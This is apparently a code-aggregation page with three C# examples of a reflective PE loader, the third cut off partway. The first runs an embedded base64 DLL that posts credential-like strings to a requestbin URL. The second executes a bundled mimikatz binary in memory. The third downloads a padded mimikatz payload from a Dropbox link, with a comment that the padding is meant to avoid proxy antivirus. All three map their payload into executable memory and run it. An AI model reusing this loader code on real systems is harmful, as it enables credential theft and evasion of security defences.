Example #1
0
        public static void Main()
        {
            //===================================================================
            // Base64 encoding of a x64 executable
            //===================================================================
            string peAsString = @"
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAABQRQAATAEDAIapUoMAAAAAAAAAAOAAIiALATAAAAoAAAAGAAAAAAAAHikA
AAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAA
ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAMooAABPAAAAAEAAAAgDAAAAAAAAAAAAAAAAAAAA
AAAAAGAAAAwAAADMJwAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAJAkAAAAgAAAACgAAAAIA
AAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAAgDAAAAQAAAAAQAAAAMAAAAAAAAAAAAAAAAAABAAABA
LnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAD+
KAAAAAAAAEgAAAACAAUA5CAAAOgGAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBwCGAAAAAQAAEQIoCwAACnMMAAAKcgEAAHAZjQEAABsl
FnJDAABwck0AAHBzDQAACqQBAAAbJRdyVwAAcHJpAABwcw0AAAqkAQAAGyUYcnsAAHAoDgAACnMP
AAAKChIAKBAAAAoLEgEoEQAACnMNAAAKpAEAABtzEgAACigTAAAKbxQAAAoMEgIoFQAACiYqAABC
U0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAADsAQAAI34AAFgCAADgAgAAI1N0cmlu
Z3MAAAAAOAUAAIQAAAAjVVMAvAUAABAAAAAjR1VJRAAAAMwFAAAcAQAAI0Jsb2IAAAAAAAAAAgAA
AUcUAggJAAAAAPoBMwAWAAABAAAAFwAAAAIAAAABAAAAFQAAAAoAAAABAAAAAwAAAAEAAAABAAAA
AADUAQEAAAAAAAYAQQE/AgYAkwE/AgYAmwAaAg8AXwIAAAYAxgCxAQYAegHnAQYAIgHnAQYA3wDn
AQYA/ADnAQYAYQHnAQYArwDnAQYAhQLgAQYAjALgAQYAGQA/AgYAfgD5AQYApQL5AQYAJwBNAAYA
kgDgAQYANgDgAQYAsAL5AQYABABNAAYAEgBuAgYAxgL5AQAAAAA8AAAAAAABAAEAAQAQAAEAAAAx
AAEAAQBQIAAAAACGGBQCBgABAAkAFAIBABEAFAIGABkAFAIKACkAFAIQADEAFAIQADkAFAIQAEEA
FAIQAEkAFAIQAFEAFAIQAFkAFAIQAGEAFAIGAIEAFAIGAAwAFAIoAJEA0gIwAGkAFAI1AGkALQI7
AJkAywE/AKEAFAJDAIEAaABRABQACQJkABwAmwJ0AC4ACwCCAC4AEwCLAC4AGwCqAC4AIwCzAC4A
KwDqAC4AMwD3AC4AOwAEAS4AQwARAS4ASwDqAC4AUwDqABUAIQBdAG0ABIAAAAEAAAAAAAAAAAAA
AAAARQAAAAIAAAAAAAAAAAAAAHkAcgAAAAAAAAAAYTAASUVudW1lcmFibGVgMQBUYXNrYDEAVGFz
a0F3YWl0ZXJgMQBLZXlWYWx1ZVBhaXJgMgBJbnQ2NAA8TW9kdWxlPgBHZXRNeUlQAFN5c3RlbS5D
b2xsZWN0aW9ucy5HZW5lcmljAFBvc3RBc3luYwBuZXRzdGFuZGFyZABIdHRwUmVzcG9uc2VNZXNz
YWdlAERhdGVUaW1lAERlYnVnZ2FibGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBU
YXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3Nl
bWJseUluZm9ybWF0aW9uYWxWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0
dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0
dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRy
aWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUb1N0cmluZwBHZXRNeUlQLmRsbABTeXN0
ZW0AU3lzdGVtLlJlZmxlY3Rpb24AU3lzdGVtLk5ldC5IdHRwAEdldEF3YWl0ZXIALmN0b3IAU3lz
dGVtLkRpYWdub3N0aWNzAFRvVW5peFRpbWVTZWNvbmRzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVy
U2VydmljZXMARGVidWdnaW5nTW9kZXMAU3lzdGVtLlRocmVhZGluZy5UYXNrcwBPYmplY3QARGF0
ZVRpbWVPZmZzZXQAR2V0UmVzdWx0AEh0dHBDbGllbnQARm9ybVVybEVuY29kZWRDb250ZW50AEh0
dHBDb250ZW50AGdldF9VdGNOb3cAAAAAAEFoAHQAdABwADoALwAvAHIAZQBxAHUAZQBzAHQAYgBp
AG4ALgBuAGUAdAAvAHIALwBxAHMAZAAyADIAcABxAHMAAAl1AHMAZQByAAAJYQBjAG0AZQAAEXAA
YQBzAHMAdwBvAHIAZAAAEXAAQABzAHMAdwAwAHIAZAAABXQAcwAAAAAAJRp0sk3N5kahO1K/n2h1
twAEIAEBCAMgAAEFIAEBEREEIAEBDgsHAxE1ChUROQESPQYVEUUCDg4HIAIBEwATAQQAABFJBSAB
ARFJAyAACgMgAA4NIAEBFRJVARURRQIODgsgAhUSWQESPQ4SXQYVElkBEj0IIAAVETkBEwAGFRE5
ARI9BCAAEwAIzHsT/80t3VEIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MB
CAEAAgAAAAAANgEAGS5ORVRTdGFuZGFyZCxWZXJzaW9uPXYyLjABAFQOFEZyYW1ld29ya0Rpc3Bs
YXlOYW1lAAwBAAdHZXRNeUlQAAAMAQAHUmVsZWFzZQAADAEABzEuMC4wLjAAAAoBAAUxLjAuMAAA
AAAAANvw+b0AAU1QAgAAAIMAAAAgKAAAIAoAAAAAAAAAAAAAAQAAABMAAAAnAAAAoygAAKMKAAAA
AAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAUlNEUxuV1TjM/HpMqkjo8bLFYrMBAAAAL2hvbWUv
YWhtZWQvd29ya3NwYWNlL2xlYXJuaW5nL2RvdG5ldC1keW5hbWljLWFzc2VtYmx5LWxvYWQvR2V0
TXlJUC9vYmovUmVsZWFzZS9uZXRzdGFuZGFyZDIuMC9HZXRNeUlQLnBkYgBTSEEyNTYAG5XVOMz8
ejyqSOjxssVis9vw+b11NLTAXv/+WrcmnpryKAAAAAAAAAAAAAAMKQAAACAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA/igAAAAAAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAAAAD/JQAg
ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAABABAAAAAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAwAACAAAAAAAAAAAAAAAAAAAAB
AAAAAABIAAAAWEAAAKwCAAAAAAAAAAAAAKwCNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4A
RgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAA
AAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQA
aQBvAG4AAAAAAAAAsAQMAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAADoAQAAAQAw
ADAAMAAwADAANABiADAAAAAwAAgAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAEcAZQB0AE0A
eQBJAFAAAAA4AAgAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAARwBlAHQATQB5
AEkAUAAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAMQAuADAALgAwAC4AMAAAADgA
DAABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAARwBlAHQATQB5AEkAUAAuAGQAbABsAAAAKAAC
AAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAAEAADAABAE8AcgBpAGcAaQBuAGEA
bABGAGkAbABlAG4AYQBtAGUAAABHAGUAdABNAHkASQBQAC4AZABsAGwAAAAwAAgAAQBQAHIAbwBk
AHUAYwB0AE4AYQBtAGUAAAAAAEcAZQB0AE0AeQBJAFAAAAAwAAYAAQBQAHIAbwBkAHUAYwB0AFYA
ZQByAHMAaQBvAG4AAAAxAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBz
AGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAA
IDkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA            
";

            byte[] unpacked = System.Convert.FromBase64String(peAsString);

            PELoader pe = new PELoader(unpacked);

            Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));

            IntPtr codebase = IntPtr.Zero;

            codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);

            Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));

            //Copy Sections
            for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
            {
                IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
                Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
                Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
            }

            //Perform Base Relocation
            //Calculate Delta
            long currentbase = (long)codebase.ToInt64();
            long delta;

            delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);


            Console.WriteLine("Delta = {0}", delta.ToString("X4"));

            //Modify Memory Based On Relocation Table

            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4"));
            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4"));

            IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));

            //Console.WriteLine(relocationTable.ToString("X4"));

            NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
            relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4"));
            //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4"));

            int    imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            IntPtr nextEntry       = relocationTable;
            int    sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
            IntPtr offset          = relocationTable;

            while (true)
            {
                NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
                IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
                relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));


                IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);


                //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
                //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);

                for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
                {
                    IntPtr patchAddr;
                    UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));

                    UInt16 type  = (UInt16)(value >> 12);
                    UInt16 fixup = (UInt16)(value & 0xfff);
                    //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4"));

                    switch (type)
                    {
                    case 0x0:
                        break;

                    case 0xA:
                        patchAddr = IntPtr.Add(dest, fixup);
                        //Add Delta To Location.
                        long originalAddr = Marshal.ReadInt64(patchAddr);
                        Marshal.WriteInt64(patchAddr, originalAddr + delta);
                        break;
                    }
                }

                offset           = IntPtr.Add(relocationTable, sizeofNextBlock);
                sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
                relocationEntry  = relocationNextEntry;

                nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock);

                if (relocationNextEntry.SizeOfBlock == 0)
                {
                    break;
                }
            }


            //Resolve Imports

            IntPtr z   = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
            IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
            int    oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));

            //Get And Display Each DLL To Load
            for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically.
            {
                IntPtr a1          = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
                int    entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
                IntPtr a2          = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part?
                IntPtr dllNamePTR  = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12))));
                string DllName     = Marshal.PtrToStringAnsi(dllNamePTR);
                if (DllName == "")
                {
                    break;
                }

                IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
                Console.WriteLine("Loaded {0}", DllName);
                for (int k = 1; k < 9999; k++)
                {
                    IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2)));
                    string DllFuncName    = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
                    //Console.WriteLine("Function {0}", DllFuncName);
                    IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
                    Marshal.WriteInt64(a2, (long)funcAddy);
                    a2 = IntPtr.Add(a2, 8);
                    if (DllFuncName == "")
                    {
                        break;
                    }
                }
                //Console.ReadLine();
            }

            //Transfer Control To OEP
            Console.WriteLine("Executing loaded PE");
            IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);
            IntPtr hThread     = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);

            NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);

            Console.WriteLine("Thread Complete");
            //Console.ReadLine();
        } //End Main
Example #2
0
        public TestClass()
        {
            WebClient getKatz = new WebClient();

            byte[] unpacked = null;
            try
            {
                byte[]     latestMimikatz = ExampleAssembly.Properties.Resources.mimikatz;
                Stream     data           = new MemoryStream(latestMimikatz);
                Stream     unzippedEntryStream;
                ZipArchive archive = new ZipArchive(data);

                foreach (ZipArchiveEntry entry in archive.Entries)
                {
                    if (entry.FullName == @"x64/mimikatz.exe")
                    {
                        Console.WriteLine(entry.FullName);
                        unzippedEntryStream = entry.Open();
                        unpacked            = ReadFully(unzippedEntryStream);
                    }
                }
            }
            catch (Exception ex)
            {
                while (ex != null)
                {
                    Console.WriteLine(ex.Message);
                    ex = ex.InnerException;
                }
            }

            Console.WriteLine("Downloaded Latest");
            PELoader pe = new PELoader(unpacked);


            Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));

            IntPtr codebase = IntPtr.Zero;

            codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);

            Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));


            for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
            {
                IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
                Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
                Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
            }

            long currentbase = (long)codebase.ToInt64();
            long delta;

            delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);


            Console.WriteLine("Delta = {0}", delta.ToString("X4"));

            IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));

            NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
            relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            int    imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            IntPtr nextEntry       = relocationTable;
            int    sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
            IntPtr offset          = relocationTable;

            while (true)
            {
                NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
                IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
                relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));


                IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);


                for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
                {
                    IntPtr patchAddr;
                    UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));

                    UInt16 type  = (UInt16)(value >> 12);
                    UInt16 fixup = (UInt16)(value & 0xfff);
                    switch (type)
                    {
                    case 0x0:
                        break;

                    case 0xA:
                        patchAddr = IntPtr.Add(dest, fixup);
                        long originalAddr = Marshal.ReadInt64(patchAddr);
                        Marshal.WriteInt64(patchAddr, originalAddr + delta);
                        break;
                    }
                }

                offset           = IntPtr.Add(relocationTable, sizeofNextBlock);
                sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
                relocationEntry  = relocationNextEntry;

                nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock);

                if (relocationNextEntry.SizeOfBlock == 0)
                {
                    break;
                }
            }


            IntPtr z   = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
            IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
            int    oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));

            for (int j = 0; j < 999; j++)
            {
                IntPtr a1          = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
                int    entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
                IntPtr a2          = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2));
                IntPtr dllNamePTR  = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12))));
                string DllName     = Marshal.PtrToStringAnsi(dllNamePTR);
                if (DllName == "")
                {
                    break;
                }

                IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
                Console.WriteLine("Loaded {0}", DllName);
                for (int k = 1; k < 9999; k++)
                {
                    IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2)));
                    string DllFuncName    = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
                    IntPtr funcAddy       = NativeDeclarations.GetProcAddress(handle, DllFuncName);
                    Marshal.WriteInt64(a2, (long)funcAddy);
                    a2 = IntPtr.Add(a2, 8);
                    if (DllFuncName == "")
                    {
                        break;
                    }
                }
            }

            Console.WriteLine("Executing Mimikatz");
            IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);
            IntPtr hThread     = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);

            NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);

            Console.WriteLine("Thread Complete");
        }
Example #3
0
        public static void Main()
        {
            WebClient downloadPEFile = new WebClient();

            IWebProxy defaultProxy = WebRequest.DefaultWebProxy;

            if (defaultProxy != null)
            {
                defaultProxy.Credentials = CredentialCache.DefaultCredentials;
                downloadPEFile.Proxy     = defaultProxy;
            }

            byte[] unpacked = null;

            try
            {
                // Download the hidden PE file from an innocent web site like DropBox
                byte[] tempArray = downloadPEFile.DownloadData(@"https://www.dropbox.com/s/0gfiwc1cwdrzlfl/mimiHidden?raw=1");

                // Remove the first 65536 bytes of random garbage I've put before the real PE (avoids proxy AV)
                unpacked = new byte[tempArray.Length - 65536];
                Buffer.BlockCopy(tempArray, 65536, unpacked, 0, unpacked.Length);
            }
            catch (Exception ex)
            {
                while (ex != null)
                {
                    Console.WriteLine(ex.Message);
                    ex = ex.InnerException;
                }
            }

            Console.WriteLine("Downloaded PE and decoded it.");
            PELoader pe = new PELoader(unpacked);


            Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));

            IntPtr codebase = IntPtr.Zero;

            codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);

            Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));


            //Copy Sections
            for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
            {
                IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
                Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
                Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
            }

            //Perform Base Relocation
            //Calculate Delta
            long currentbase = (long)codebase.ToInt64();
            long delta;

            delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);


            Console.WriteLine("Delta = {0}", delta.ToString("X4"));

            //Modify Memory Based On Relocation Table

            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4"));
            //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4"));

            IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));

            //Console.WriteLine(relocationTable.ToString("X4"));

            NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
            relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4"));
            //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4"));

            int    imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
            IntPtr nextEntry       = relocationTable;
            int    sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
            IntPtr offset          = relocationTable;

            while (true)
            {
                NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
                IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
                relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));


                IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);


                //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
                //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);

                for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
                {
                    IntPtr patchAddr;
                    UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));

                    UInt16 type  = (UInt16)(value >> 12);
                    UInt16 fixup = (UInt16)(value & 0xfff);
                    //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4"));

                    switch (type)
                    {
                    case 0x0:
                        break;

                    case 0xA:
                        patchAddr = IntPtr.Add(dest, fixup);
                        //Add Delta To Location.
                        long originalAddr = Marshal.ReadInt64(patchAddr);
                        Marshal.WriteInt64(patchAddr, originalAddr + delta);
                        break;
                    }
                }

                offset           = IntPtr.Add(relocationTable, sizeofNextBlock);
                sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
                relocationEntry  = relocationNextEntry;

                nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock);

                if (relocationNextEntry.SizeOfBlock == 0)
                {
                    break;
                }
            }


            //Resolve Imports

            IntPtr z   = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
            IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
            int    oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));

            //Get And Display Each DLL To Load
